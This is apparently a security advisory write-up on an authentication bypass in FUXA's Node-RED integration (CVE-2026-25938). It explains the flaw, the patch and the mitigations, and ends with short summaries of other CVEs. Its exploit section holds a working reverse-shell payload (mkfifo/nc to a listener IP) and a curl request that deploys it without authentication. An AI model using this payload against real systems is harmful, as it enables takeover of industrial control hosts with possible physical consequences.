Feb 10, 2026·5 min read·101 visits
Critical RCE in FUXA versions 1.2.8 through 1.2.10. The Node-RED plugin exposes administrative endpoints without authentication. Attackers can POST a malicious flow containing a 'Function' node to execute arbitrary system commands. Fixed in version 1.2.11.
FUXA, a popular open-source SCADA/HMI dashboard, contained a critical authentication bypass in its Node-RED integration. By failing to verify JWT tokens on proxied routes, the software allowed unauthenticated attackers to access the full Node-RED Admin API. This exposure permits the deployment of malicious JavaScript flows, leading to immediate Remote Code Execution (RCE) on the host server.
Industrial control systems (ICS) and SCADA software are the nervous systems of modern infrastructure. They control everything from factory conveyor belts to water treatment plants. FUXA is a web-based HMI (Human-Machine Interface) that lets engineers visualize this data prettily in a browser. It’s written in Node.js, uses Angular, and generally tries to bring modern web tech to the rusty world of industrial automation.
But here is the kicker: FUXA integrates Node-RED, a flow-based programming tool, to handle logic. Node-RED is fantastic. It lets you drag and drop boxes to automate tasks. However, Node-RED is also practically an IDE. If you have access to the Node-RED interface, you can write and execute arbitrary JavaScript code on the server.
So, what happens when FUXA decides to wrap Node-RED but forgets to check ID cards at the door? You get CVE-2026-25938—a vulnerability that turns a dashboard meant for monitoring temperatures into a root shell for monitoring the admin's panic levels.
The vulnerability stems from a classic architectural blunder: The Proxy Bypass. FUXA acts as a middleware wrapper around an internal Node-RED instance. It is supposed to handle authentication (JWTs, user sessions) before forwarding traffic to the Node-RED backend.
In versions 1.2.8 through 1.2.10, the developers implemented a middleware function intended to protect these routes. However, the logic for the /nodered/ endpoint was, to put it politely, optimistic. It essentially assumed that if you knew the URL, you were probably supposed to be there. The application failed to validate the x-access-token or session cookies for requests targeting the Node-RED Admin API (specifically /nodered/flows).
This is the digital equivalent of locking your front door (the main FUXA dashboard) but leaving the garage door open because "only family knows the code to the opener." Except in this case, the garage contains a button that blows up the house.
Let's look at the "smoking gun" in server/integrations/node-red/index.js. The fix, applied in commit 5e7679b09718534e4501a146fdfe093da29af336, reveals exactly what was missing.
The Vulnerable Logic (Conceptual): Previously, the middleware effectively waved traffic through based on loose checks or missing guards entirely for the API sub-paths. If the plugin was enabled, the router just forwarded the packets.
The Fix (Secure-by-Default):
The patch introduces a strict gatekeeper. Notice the explicit call to authJwt.verify:
// server/integrations/node-red/index.js
const allowDashboard = (req, res, next) => {
const url = req.originalUrl || req.url || req.path;
// Check if security is disabled (legacy mode)
if (!settings.secureEnabled) return next();
// THE FIX: Explicitly hunt for the token
const token = req.headers['x-access-token'] ||
req.query?.token ||
getCookieValue(req, 'nodered_auth');
if (!token) {
// "You shall not pass"
return res.status(401).json({
error: "unauthorized_error",
message: "Authentication required!"
});
}
// Verify the JWT signature
return authJwt.verify(token)
.then(() => next())
.catch(() => res.status(401)...);
};They also updated the frontend to pass the token into the iframe URL, ensuring valid users can still work, while unauthenticated scripts get a 401 error.
Exploiting this is trivially easy because Node-RED is designed to execute code. We don't need a buffer overflow; we just need to use the feature as intended.
Step 1: The Payload
We construct a JSON payload representing a Node-RED flow. This flow contains a single "Function" node. Inside that node, we use Node.js's child_process module to spawn a shell.
// The malicious function body
const exec = global.get('process').mainModule.require('child_process').exec;
exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f');
return msg;Step 2: Delivery We wrap that JavaScript in the standard Node-RED JSON format and fire it at the API. No authentication headers required.
curl -X POST http://target-ip:1881/nodered/flows \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: full" \
-d '[
{
"id": "pwned",
"type": "function",
"z": "flow1",
"name": "RCE",
"func": "[...malicious JS here...]",
"outputs": 1
}
]'Step 3: Execution The moment the server receives this POST request, it hot-reloads the flow. The function executes immediately (or upon injection), and a reverse shell pops on our listener. We are now inside the SCADA network.
In a standard web app, RCE means data theft. In the context of FUXA and SCADA, RCE means kinetic impact. An attacker with shell access to the HMI server can likely pivot to the PLCs (Programmable Logic Controllers) on the same network.
They could manipulate modbus commands to overheat machinery, open valves, or disable safety locks. Furthermore, because FUXA is often deployed in Docker containers running as root (despite best practices), breaking out of the application often means full control over the host operating system. This is a CVSS 9.5 for a reason—it's a complete compromise of the control layer.
The remediation is straightforward: Update to FUXA v1.2.11. This version enforces authentication on all Node-RED routes.
If you cannot update immediately, you must disable the Node-RED integration in the FUXA settings (Settings -> System -> Enable Node-RED). If that is also not an option (because your factory relies on it), restrict access to the FUXA port (default 1881) using a firewall or reverse proxy that implements its own Basic Auth or IP allowlisting. Do not expose this interface to the internet. Ever.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H| Product | Affected Versions | Fixed Version |
|---|---|---|
FUXA frangoteam | >= 1.2.8, <= 1.2.10 | 1.2.11 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-25938 |
| CVSS v4.0 | 9.5 (Critical) |
| CWE | CWE-306 (Missing Authentication) |
| Attack Vector | Network (Remote) |
| Affected Component | Node-RED Integration Middleware |
| Exploit Status | Functional PoC Available (Trivial) |
The software does not perform any authentication for functionality that requires a provable user identity.
Grav CMS prior to version 1.7.53 and 2.0.0-rc.8 is vulnerable to an unauthenticated remote denial of service (DoS) vulnerability. By supplying crafted query parameters with extremely large dimensions to image assets, remote unauthenticated attackers can force the server to allocate massive amounts of system memory, leading to kernel Out-Of-Memory (OOM) termination of web worker processes.
CVE-2026-53657 is a local privilege escalation vulnerability in Lima (lima-vm/lima) affecting versions prior to 2.1.3 when configured with the QEMU driver. The guest agent daemon, running as root, creates its communication socket `/run/lima-guestagent.sock` with world-writable permissions (0777). This allows unprivileged local users to command the agent to establish arbitrary tunnels, including to privileged local UNIX sockets (like D-Bus). Because the target daemon authenticates the incoming connection using the credentials of the root-owned guest agent (via SO_PEERCRED), unprivileged users can perform root operations, resulting in complete guest VM compromise.
An unauthenticated Denial of Service vulnerability exists in the s2n-quic library's CryptoStream reassembler due to a lack of buffer limits on out-of-order cryptographic frames. An attacker can transmit a crafted CRYPTO frame with an extremely high offset and nominal payload, forcing the receiver to execute unbounded memory allocations and causing service crashes.
A JNDI Injection and Deserialization Gadget vulnerability exists in mchange-commons-java prior to version 0.6.0. The com.mchange.v2.naming.JavaBeanObjectFactory component permits arbitrary class instantiation and setter invocation, allowing attackers to perform Server-Side Request Forgery (SSRF) and remote class loading.
SurrealDB versions supporting element-level SELECT permissions on arrays are vulnerable to a logical authorization bypass. Due to an index-shifting error during array filtration, restricted elements can skip permission checks and leak to unauthorized record users.
CVE-2026-12243 is a path traversal vulnerability in the Natural Language Toolkit (NLTK) version 3.9.4. The flaw exists because the input validation routine fails to account for percent-encoded directory traversal sequences like '..%2f' before passing them to urllib.request.url2pathname(), which decodes them into active traversal sequences.